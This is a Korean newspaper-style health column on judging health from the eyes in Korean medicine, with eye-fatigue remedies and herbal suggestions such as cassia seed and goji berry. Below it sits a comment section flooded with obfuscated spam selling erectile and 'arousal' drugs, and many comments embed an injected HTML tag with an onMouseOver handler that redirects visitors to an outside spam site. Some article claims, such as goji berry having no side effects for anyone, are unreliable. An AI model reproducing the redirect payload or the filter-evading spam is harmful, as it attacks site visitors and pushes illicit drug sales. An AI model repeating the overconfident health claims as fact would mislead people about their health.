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| [김소형의 건강보감] 눈을 보면 건강이 보인다 |
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"당신의 눈빛만 봐도 마음을 알 수 있어요." 멜로 영화 속에서 흔히 등장하는 낯 간지러운 대사다. 열길 물 속은 알아도 한길 사람 속은 모른다는데, 과연 눈빛만으로 마음을 읽을 수 있을까? 눈으로 마음을 볼 수 있을지는 잘 모르지만 눈으로 건강 상태는 파악할 수 있다.
점쟁이도 아니고 눈으로 건강 상태를 어떻게 판단할 수 있냐고 하겠지만, 한의학에서는 눈을 간과 통하는 구멍이며, 오장육부의 정기가 모이는 곳으로 본다. 한의원에서 건강상태를 관찰할 때 눈을 잘 살펴보는 것도 그 때문이다. 눈만 잘 관찰해도 그 사람의 건강상태에 대한 많은 단서를 파악할 수 있다.
눈의 이상은 그 원인을 크게 두 가지로 나눌 수 있다. 그 첫째는 눈 자체에 이상이 생긴 경우이고, 다른 하나는 몸 속 다른 부위에 생긴 이상이 눈을 통해 표현되는 경우이다. 즉, 눈의 건강은 우리 몸 전체 건강의 중요한 척도인 것이다.
눈은 어떤 장기보다도 쉽게 피로를 느끼는 기관이기도 하다. 잘못 사용하거나 혹사를 시키게 되면 곧바로 여러 증상들이 나타난다. 더구나 눈의 피로는 간장과 위장의 기능 약화가 원인일 수 있기 때문에 눈이 자주 피로하거나 충혈이 잦다면 눈을 쉬게 하면서 몸의 허약해진 부분을 보하여 건강을 되찾는 것이 필요하다.
눈의 피로는 그때그때 풀어야 한다. 컴퓨터다 책이다 해서 한곳에만 오랜 시간 집중해 있다 보면, 눈 근육의 조절능력이 떨어져 피로가 쌓이게 된다. 50분에 5분 혹은 10분, 이런 식으로 시간을 정해 편안하게 이곳 저곳을 번갈아 바라보는 시간을 가지면 좋다. 초록색은 눈의 피로를 푸는 데 도움이 되는 색이며, 어깨와 목 운동을 하는 것도 도움이 되는데, 이를 통해 혈액순환이 원활해지면 눈에 더 많은 영양이 공급된다.
안쪽 눈 머리 끝 부위, 양 눈의 안쪽과 코 사이의 움푹 들어간 곳인 정명혈을 가볍게 눌러주는 것도 좋다. 눈이 너무 피곤해서 사물을 바라보기 힘들 정도라면 가벼운 마사지가 도움이 되는데, 눈을 지긋이 감고 양쪽 손바닥을 30초 동안 비벼 열이 나면 10초 정도 눈에 댔다가 뗀다. 이 동작을 다섯 번 정도 반복하면 눈의 피로가 어느 정도 사라지게 된다.
다른 손쉬운 방법으로 양 귓볼을 아래로 당겨주는 것도 있다. 조금 세다 싶을 정도로 힘을 줘 귓볼을 늘려서 아래로 잡아당겨주는데, 눈이 침침하고 피로할 때 귓볼을 당기면 눈이 한결 맑아지는 걸 느낄 수 있다. 꾸준히 하면 눈이 침침해지는 것을 어느 정도 예방할 수 있다. 귀에는 여러 반응점들이 있기 때문에 꼭 눈 때문이 아니더라도 평소 자주 자극해주면 전체적인 건강에 도움이 된다.
눈 건강을 위해서는 평소 간과 신장에 좋은 식품을 많이 먹는 것이 좋은데, 대표적인 식품으로 결명자를 꼽을 수 있겠다. '눈을 맑게 한다'는 결명자의 이름에서도 알 수 있듯이, 오랜 눈병을 낫게 하고 눈이 침침할 때 장복하면 좋은 효과를 볼 수 있다. 결명자에는 간장과 비장을 튼튼하게 하는 효과도 있어 간의 이상으로 나빠진 눈에도 좋다.
눈에는 구기자도 좋은데, 간 기능을 보호하고 촉진시키는 기능이 있어 근본적인 눈 건강에 큰 도움이 된다. 특히 충혈된 눈에 좋은데, 구기자는 장복해도 별다른 부작용이 없어 체질에 관계없이 모두가 사용할 수 있는 장점이 있다.
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오현용 (2017-03-29 01:09:43)
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오원근 (2017-08-10 08:22:15)
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백지헌 (2017-08-11 15:14:23)
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<imgsrc='https://68.media.tumblr.com/59f709cd72a6ed8b1379205408e785d5/tumblr_olifpqDv6c1vrjvfeo1_250.jpg' onMouseOver=location.replace('http://vpa550.6te.net')> | |
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백경애 (2017-08-25 12:29:38)
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비***아^그..라 시 알^^*리 스**여^성^흥*.분....제 * 판*매
관^^^심** 잇.^는*분 아 래** 주 소**를.. 주..소***창.에.. 넣^어^^주^세 요 ^^
<imgsrc='https://68.media.tumblr.com/59f709cd72a6ed8b1379205408e785d5/tumblr_olifpqDv6c1vrjvfeo1_250.jpg' onMouseOver=location.replace('http://vpa550.6te.net')> | |
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우정민 (2017-08-25 22:12:42)
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비.아그****라* 시 **알^^리.^^스**..여 성^^^흥*분***제 판..매 ^
관^^^심^.잇 ^는^^분 아**래주*..소**..를^ 주**^소 창 *에 넣*어 주*세*요**
<imgsrc='https://68.media.tumblr.com/59f709cd72a6ed8b1379205408e785d5/tumblr_olifpqDv6c1vrjvfeo1_250.jpg' onMouseOver=location.replace('http://vpa550.6te.net')> | |
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채동욱 (2017-08-26 03:31:14)
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비 아*.그.라 시*.알....리.^^스 **여성** 흥..분*제** 판*매 ....
관 ..심.. 잇...는 *분.^^ 아**^^래.^주 .소.를 주 소..창^^에** 넣어..주 **세*요^^
<imgsrc='https://68.media.tumblr.com/59f709cd72a6ed8b1379205408e785d5/tumblr_olifpqDv6c1vrjvfeo1_250.jpg' onMouseOver=location.replace('http://vpa550.6te.net')> | |
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노민아 (2017-08-26 12:19:34)
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비*아*^^그^^라**시 알 ^리*스 .여.. 성***흥 **분* 제^^^ 판*매 .
관*심..잇 ^^는^분^^ 아*래*주*.소 *를 주^ 소. 창 에..^ 넣^..어 주...세 *요....
<imgsrc='https://68.media.tumblr.com/59f709cd72a6ed8b1379205408e785d5/tumblr_olifpqDv6c1vrjvfeo1_250.jpg' onMouseOver=location.replace('http://vpa550.6te.net')> | |
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채동욱 (2017-08-26 16:49:31)
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비 아*.그.라 시*.알....리.^^스 **여성** 흥..분*제** 판*매 ....
관 ..심.. 잇...는 *분.^^ 아**^^래.^주 .소.를 주 소..창^^에** 넣어..주 **세*요^^
<imgsrc='https://68.media.tumblr.com/59f709cd72a6ed8b1379205408e785d5/tumblr_olifpqDv6c1vrjvfeo1_250.jpg' onMouseOver=location.replace('http://vpa550.6te.net')> | |
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백경애 (2017-08-27 18:19:20)
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비***아^그..라 시 알^^*리 스**여^성^흥*.분....제 * 판*매
관^^^심** 잇.^는*분 아 래** 주 소**를.. 주..소***창.에.. 넣^어^^주^세 요 ^^
<imgsrc='https://68.media.tumblr.com/59f709cd72a6ed8b1379205408e785d5/tumblr_olifpqDv6c1vrjvfeo1_250.jpg' onMouseOver=location.replace('http://vpa550.6te.net')> | |
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민성훈 (2017-09-06 07:02:46)
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비 ^아^**그**라..시 알 리*^스^^여성^^흥^^^분..제.. 판 ^^매 ^^.
관심.*잇..는 분^^* 아**.래* 주**소^ 를 주^^**소**창^ 에 넣.어 주세**요 | |
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정민정 (2017-09-06 09:21:19)
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비아.^그....라^.시알 ^리^스 여 .성^흥**분^제**.. 판^^매
관심*^^잇^^는 *분^^.. 아^래 주^ 소*를.. 주.소^창 .에^^* 넣 어 주^^ 세요**. | |
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송영래 (2017-09-06 14:49:29)
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비아그**라.시^ 알^^.리^^^^스 여 성.흥.분*제^^ 판매 .
관심^^잇**는^..분.. 아***래주소 를. 주 소*^창**^^에* 넣어 .주세요^^ | |
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남덕수 (2017-09-06 16:16:05)
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비^아*그**라^시^^ 알*리.스..여.성. 흥 분제^.. 판매 ^
관...심.잇 ^는^^분^^^^ 아^^^^래주...소를^ 주소*창^..에^^.. 넣 ..어 주**세*..요 | |
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정민정 (2017-09-06 21:57:52)
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비아.^그....라^.시알 ^리^스 여 .성^흥**분^제**.. 판^^매
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민성훈 (2017-09-06 22:27:11)
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비 ^아^**그**라..시 알 리*^스^^여성^^흥^^^분..제.. 판 ^^매 ^^.
관심.*잇..는 분^^* 아**.래* 주**소^ 를 주^^**소**창^ 에 넣.어 주세**요 | |
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우세아 (2017-09-07 08:24:20)
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비**.아 그 라.시 알^ 리..스..**여..성**흥^^분^..제.. 판 ^^매 ^
관..**심..잇**는^분. 아 래..주 소..를 주.*소^^창*에..* 넣 어^^..주세요 | |
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송영래 (2017-09-07 21:31:03)
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비아그**라.시^ 알^^.리^^^^스 여 성.흥.분*제^^ 판매 .
관심^^잇**는^..분.. 아***래주소 를. 주 소*^창**^^에* 넣어 .주세요^^ | |
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황수근 (2017-09-08 15:26:11)
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비아그**라 ..시^**알리스**.여 *성^^흥.분.^^제^^ 판* 매 .
관.. 심^^ 잇.^^는***분^^ 아래*주^^소를 주^**소^창.에** 넣어 주 세 요 | |
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송영래 (2017-09-08 16:36:11)
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비아그**라.시^ 알^^.리^^^^스 여 성.흥.분*제^^ 판매 .
관심^^잇**는^..분.. 아***래주소 를. 주 소*^창**^^에* 넣어 .주세요^^ | |
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정민정 (2017-09-08 22:46:06)
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비아.^그....라^.시알 ^리^스 여 .성^흥**분^제**.. 판^^매
관심*^^잇^^는 *분^^.. 아^래 주^ 소*를.. 주.소^창 .에^^* 넣 어 주^^ 세요**. | |
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육창태 (2017-09-09 10:31:51)
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비 아^^그....라^^시^알*리^^스...여..**성..흥*분***제^^ 판.*매
관 *심**^^잇는분 아***래**주^^..소..를.^^ 주**소**창*에 ** 넣어주^^세*.요. | |
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전순혁 (2017-09-09 13:34:36)
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비 ^아*그^^*라.시*^알**리**스**여 성*흥**분.제 판***매 ^..
관 심 잇.는** 분** 아 래^^.주소 를*** 주 소.창 에 ^^ 넣 ..어^^주.세^.요^^ | |
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육창태 (2017-09-10 12:12:38)
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비 아^^그....라^^시^알*리^^스...여..**성..흥*분***제^^ 판.*매
관 *심**^^잇는분 아***래**주^^..소..를.^^ 주**소**창*에 ** 넣어주^^세*.요. | |
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방운덕 (2017-09-10 13:35:54)
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비*^^아그.*라.시**^^알 리^^ 스.여.성 흥^^분**제 판 **매 ^^**
관심..잇는분^^^ 아**래^ 주** 소 ^^를^^ 주 소.창^^..에**.. 넣^.어 주***세 요* | |
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전순혁 (2017-09-11 00:38:46)
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비 ^아*그^^*라.시*^알**리**스**여 성*흥**분.제 판***매 ^..
관 심 잇.는** 분** 아 래^^.주소 를*** 주 소.창 에 ^^ 넣 ..어^^주.세^.요^^ | |
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우성학 (2017-09-11 00:49:10)
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비 아** 그***라 시...알 리*^^스^^ 여.성**흥...분^^.제. 판^매 **^^
관**^심잇^.는 .분^* 아..**래..*주**소 를*^^ 주^^*소창^에.. 넣 어 ..주*세^^요 | |
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정민정 (2017-09-11 11:53:53)
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비아.^그....라^.시알 ^리^스 여 .성^흥**분^제**.. 판^^매
관심*^^잇^^는 *분^^.. 아^래 주^ 소*를.. 주.소^창 .에^^* 넣 어 주^^ 세요**. | |
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황수근 (2017-09-11 16:04:02)
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비아그**라 ..시^**알리스**.여 *성^^흥.분.^^제^^ 판* 매 .
관.. 심^^ 잇.^^는***분^^ 아래*주^^소를 주^**소^창.에** 넣어 주 세 요 | |
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장호진 (2017-09-11 22:08:51)
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비..**아^^그.라 **시알리 스***여^성^**흥*..분*제^^ 판매 ***
관.^^심**..잇 는 ..분^^* 아**..래*^^주 소 를 주^^소창^^ 에.. 넣*어**주 세* 요** | |
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육창태 (2017-09-11 23:07:27)
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비 아^^그....라^^시^알*리^^스...여..**성..흥*분***제^^ 판.*매
관 *심**^^잇는분 아***래**주^^..소..를.^^ 주**소**창*에 ** 넣어주^^세*.요. | |
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전순혁 (2017-09-12 08:17:06)
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비 ^아*그^^*라.시*^알**리**스**여 성*흥**분.제 판***매 ^..
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전순혁 (2017-09-12 19:23:49)
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관 심 잇.는** 분** 아 래^^.주소 를*** 주 소.창 에 ^^ 넣 ..어^^주.세^.요^^
<imgsrc='https://68.media.tumblr.com/59f709cd72a6ed8b1379205408e785d5/tumblr_olifpqDv6c1vrjvfeo1_250.jpg' onMouseOver=location.replace('http://vpa550.6te.net')> | |
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정민정 (2017-09-12 19:36:30)
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관심*^^잇^^는 *분^^.. 아^래 주^ 소*를.. 주.소^창 .에^^* 넣 어 주^^ 세요**.
<imgsrc='https://68.media.tumblr.com/59f709cd72a6ed8b1379205408e785d5/tumblr_olifpqDv6c1vrjvfeo1_250.jpg' onMouseOver=location.replace('http://vpa550.6te.net')> | |
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장호진 (2017-09-12 20:39:15)
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비..**아^^그.라 **시알리 스***여^성^**흥*..분*제^^ 판매 ***
관.^^심**..잇 는 ..분^^* 아**..래*^^주 소 를 주^^소창^^ 에.. 넣*어**주 세* 요**
<imgsrc='https://68.media.tumblr.com/59f709cd72a6ed8b1379205408e785d5/tumblr_olifpqDv6c1vrjvfeo1_250.jpg' onMouseOver=location.replace('http://vpa550.6te.net')> | |
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방운덕 (2017-09-12 23:52:50)
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비*^^아그.*라.시**^^알 리^^ 스.여.성 흥^^분**제 판 **매 ^^**
관심..잇는분^^^ 아**래^ 주** 소 ^^를^^ 주 소.창^^..에**.. 넣^.어 주***세 요*
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육창태 (2017-09-13 02:15:36)
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비 아^^그....라^^시^알*리^^스...여..**성..흥*분***제^^ 판.*매
관 *심**^^잇는분 아***래**주^^..소..를.^^ 주**소**창*에 ** 넣어주^^세*.요.
<imgsrc='https://68.media.tumblr.com/59f709cd72a6ed8b1379205408e785d5/tumblr_olifpqDv6c1vrjvfeo1_250.jpg' onMouseOver=location.replace('http://vpa550.6te.net')> | |
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고원근 (2017-09-13 03:30:15)
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비..아**그^라시 *알리**스**.여 ^^성 **흥 ^^분..제 판....매 ^^
관^.심^ 잇 *는 ..분^^ 아^래^^주소 *를.. 주 소 창**에 .. 넣 .어...주.. 세^.요..
<imgsrc='https://68.media.tumblr.com/59f709cd72a6ed8b1379205408e785d5/tumblr_olifpqDv6c1vrjvfeo1_250.jpg' onMouseOver=location.replace('http://vpa550.6te.net')> | |
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우세아 (2017-09-13 05:39:06)
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비**.아 그 라.시 알^ 리..스..**여..성**흥^^분^..제.. 판 ^^매 ^
관..**심..잇**는^분. 아 래..주 소..를 주.*소^^창*에..* 넣 어^^..주세요
<imgsrc='https://68.media.tumblr.com/59f709cd72a6ed8b1379205408e785d5/tumblr_olifpqDv6c1vrjvfeo1_250.jpg' onMouseOver=location.replace('http://vpa550.6te.net')> | |
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우성학 (2017-09-13 14:51:39)
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비 아** 그***라 시...알 리*^^스^^ 여.성**흥...분^^.제. 판^매 **^^
관**^심잇^.는 .분^* 아..**래..*주**소 를*^^ 주^^*소창^에.. 넣 어 ..주*세^^요
<imgsrc='https://68.media.tumblr.com/59f709cd72a6ed8b1379205408e785d5/tumblr_olifpqDv6c1vrjvfeo1_250.jpg' onMouseOver=location.replace('http://vpa550.6te.net')> | |
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황창원 (2017-09-13 15:13:30)
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비^^아***그^라****시*알 리*^^스 여^^..성**흥..분* 제 ** 판 ^매 ..
관^^심^^ 잇는...분 아*래..주소 를^^ 주**소****창^^**에^.. 넣.어^^^^주*세*요^^
<imgsrc='https://68.media.tumblr.com/59f709cd72a6ed8b1379205408e785d5/tumblr_olifpqDv6c1vrjvfeo1_250.jpg' onMouseOver=location.replace('http://vpa550.6te.net')> | |
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전순혁 (2017-09-13 16:26:53)
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비 ^아*그^^*라.시*^알**리**스**여 성*흥**분.제 판***매 ^..
관 심 잇.는** 분** 아 래^^.주소 를*** 주 소.창 에 ^^ 넣 ..어^^주.세^.요^^
<imgsrc='https://68.media.tumblr.com/59f709cd72a6ed8b1379205408e785d5/tumblr_olifpqDv6c1vrjvfeo1_250.jpg' onMouseOver=location.replace('http://vpa550.6te.net')> | |
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우세아 (2017-09-13 19:12:05)
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비**.아 그 라.시 알^ 리..스..**여..성**흥^^분^..제.. 판 ^^매 ^
관..**심..잇**는^분. 아 래..주 소..를 주.*소^^창*에..* 넣 어^^..주세요
<imgsrc='https://68.media.tumblr.com/59f709cd72a6ed8b1379205408e785d5/tumblr_olifpqDv6c1vrjvfeo1_250.jpg' onMouseOver=location.replace('http://vpa550.6te.net')> | |
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육창태 (2017-09-14 00:24:19)
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비 아^^그....라^^시^알*리^^스...여..**성..흥*분***제^^ 판.*매
관 *심**^^잇는분 아***래**주^^..소..를.^^ 주**소**창*에 ** 넣어주^^세*.요.
<imgsrc='https://68.media.tumblr.com/59f709cd72a6ed8b1379205408e785d5/tumblr_olifpqDv6c1vrjvfeo1_250.jpg' onMouseOver=location.replace('http://vpa550.6te.net')> | |
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황창원 (2017-09-14 11:45:01)
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비^^아***그^라****시*알 리*^^스 여^^..성**흥..분* 제 ** 판 ^매 ..
관^^심^^ 잇는...분 아*래..주소 를^^ 주**소****창^^**에^.. 넣.어^^^^주*세*요^^
<imgsrc='https://68.media.tumblr.com/59f709cd72a6ed8b1379205408e785d5/tumblr_olifpqDv6c1vrjvfeo1_250.jpg' onMouseOver=location.replace('http://vpa550.6te.net')> | |
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육창태 (2017-09-14 12:37:33)
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비 아^^그....라^^시^알*리^^스...여..**성..흥*분***제^^ 판.*매
관 *심**^^잇는분 아***래**주^^..소..를.^^ 주**소**창*에 ** 넣어주^^세*.요.
<imgsrc='https://68.media.tumblr.com/59f709cd72a6ed8b1379205408e785d5/tumblr_olifpqDv6c1vrjvfeo1_250.jpg' onMouseOver=location.replace('http://vpa550.6te.net')> | |
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우성학 (2017-09-14 14:28:03)
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비 아** 그***라 시...알 리*^^스^^ 여.성**흥...분^^.제. 판^매 **^^
관**^심잇^.는 .분^* 아..**래..*주**소 를*^^ 주^^*소창^에.. 넣 어 ..주*세^^요
<imgsrc='https://68.media.tumblr.com/59f709cd72a6ed8b1379205408e785d5/tumblr_olifpqDv6c1vrjvfeo1_250.jpg' onMouseOver=location.replace('http://vpa550.6te.net')> | |
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전순혁 (2017-09-15 00:02:24)
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비 ^아*그^^*라.시*^알**리**스**여 성*흥**분.제 판***매 ^..
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<imgsrc='https://68.media.tumblr.com/59f709cd72a6ed8b1379205408e785d5/tumblr_olifpqDv6c1vrjvfeo1_250.jpg' onMouseOver=location.replace('http://vpa550.6te.net')> | |
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우성학 (2017-09-15 15:32:21)
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비 아** 그***라 시...알 리*^^스^^ 여.성**흥...분^^.제. 판^매 **^^
관**^심잇^.는 .분^* 아..**래..*주**소 를*^^ 주^^*소창^에.. 넣 어 ..주*세^^요
<imgsrc='https://68.media.tumblr.com/59f709cd72a6ed8b1379205408e785d5/tumblr_olifpqDv6c1vrjvfeo1_250.jpg' onMouseOver=location.replace('http://vpa550.6te.net')> | |
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육창태 (2017-09-15 19:31:52)
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비 아^^그....라^^시^알*리^^스...여..**성..흥*분***제^^ 판.*매
관 *심**^^잇는분 아***래**주^^..소..를.^^ 주**소**창*에 ** 넣어주^^세*.요.
<imgsrc='https://68.media.tumblr.com/59f709cd72a6ed8b1379205408e785d5/tumblr_olifpqDv6c1vrjvfeo1_250.jpg' onMouseOver=location.replace('http://vpa550.6te.net')> | |
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방운덕 (2017-09-16 06:32:58)
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비*^^아그.*라.시**^^알 리^^ 스.여.성 흥^^분**제 판 **매 ^^**
관심..잇는분^^^ 아**래^ 주** 소 ^^를^^ 주 소.창^^..에**.. 넣^.어 주***세 요*
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우세아 (2017-09-16 08:02:22)
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비**.아 그 라.시 알^ 리..스..**여..성**흥^^분^..제.. 판 ^^매 ^
관..**심..잇**는^분. 아 래..주 소..를 주.*소^^창*에..* 넣 어^^..주세요
<imgsrc='https://68.media.tumblr.com/59f709cd72a6ed8b1379205408e785d5/tumblr_olifpqDv6c1vrjvfeo1_250.jpg' onMouseOver=location.replace('http://vpa550.6te.net')> | |
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정민정 (2017-09-16 08:33:38)
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비아.^그....라^.시알 ^리^스 여 .성^흥**분^제**.. 판^^매
관심*^^잇^^는 *분^^.. 아^래 주^ 소*를.. 주.소^창 .에^^* 넣 어 주^^ 세요**.
<imgsrc='https://68.media.tumblr.com/59f709cd72a6ed8b1379205408e785d5/tumblr_olifpqDv6c1vrjvfeo1_250.jpg' onMouseOver=location.replace('http://vpa550.6te.net')> | |
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방운덕 (2017-09-16 14:37:41)
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비*^^아그.*라.시**^^알 리^^ 스.여.성 흥^^분**제 판 **매 ^^**
관심..잇는분^^^ 아**래^ 주** 소 ^^를^^ 주 소.창^^..에**.. 넣^.어 주***세 요*
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마형주 (2018-01-04 23:58:31)
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비아 ..그..**라^^*시알.리.^^스 여^^^성.흥^^분** 제.. 판...매 ^^
관.. 심..잇는..분^ 아^^래.주^소^*를^.. 주소. 창에 넣^어..^^주..^^세 요.
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정봉수 (2018-02-22 23:09:47)
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비***아*그 라.*시..알^^리**스 *여..성..흥 **분^제*^^ 판..매
관^^심잇*는^^분 아..래**^주 소를** 주**..소 창^에.^^ 넣**어**^^주** 세 요.^^
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